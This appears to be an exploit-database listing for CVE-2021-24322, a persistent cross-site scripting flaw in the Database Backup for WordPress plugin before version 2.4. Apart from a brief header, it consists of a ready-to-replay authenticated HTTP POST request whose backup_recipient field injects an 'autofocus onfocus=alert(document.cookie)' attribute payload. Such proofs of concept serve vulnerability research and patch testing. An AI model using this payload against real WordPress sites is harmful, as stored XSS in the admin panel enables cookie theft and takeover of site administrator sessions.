Exploit for Database Backup for WordPress < 2.4 - Authenticated Persistent Cross-Site Scripting (XSS) CVE-2021-24322

Name: Exploit for Database Backup for WordPress < 2.4 - Authenticated Persistent Cross-Site Scripting (XSS) CVE-2021-24322
Rating: 5 (264 reviews)

2021-05-16 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:6BEA6301-0762-45C3-A4EB-15D6AC4F9F37
POST /wp-admin/tools.php?page=wp-db-backup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 602
Cookie: [admin cookies]

_wpnonce=88a432b100&core_tables%5B%5D=wp_commentmeta&core_tables%5B%5D=wp_comments&core_tables%5B%5D=wp_links&core_tables%5B%5D=wp_options&core_tables%5B%5D=wp_postmeta&core_tables%5B%5D=wp_posts&core_tables%5B%5D=wp_term_relationships&core_tables%5B%5D=wp_term_taxonomy&core_tables%5B%5D=wp_terms&core_tables%5B%5D=wp_usermeta&core_tables%5B%5D=wp_users&deliver=smtp&backup_recipient=m0ze%40example.com%22+autofocus+onfocus%3Dalert%28document.cookie%29%3B+%22&do_backup=fragments&submit=Backup+now%21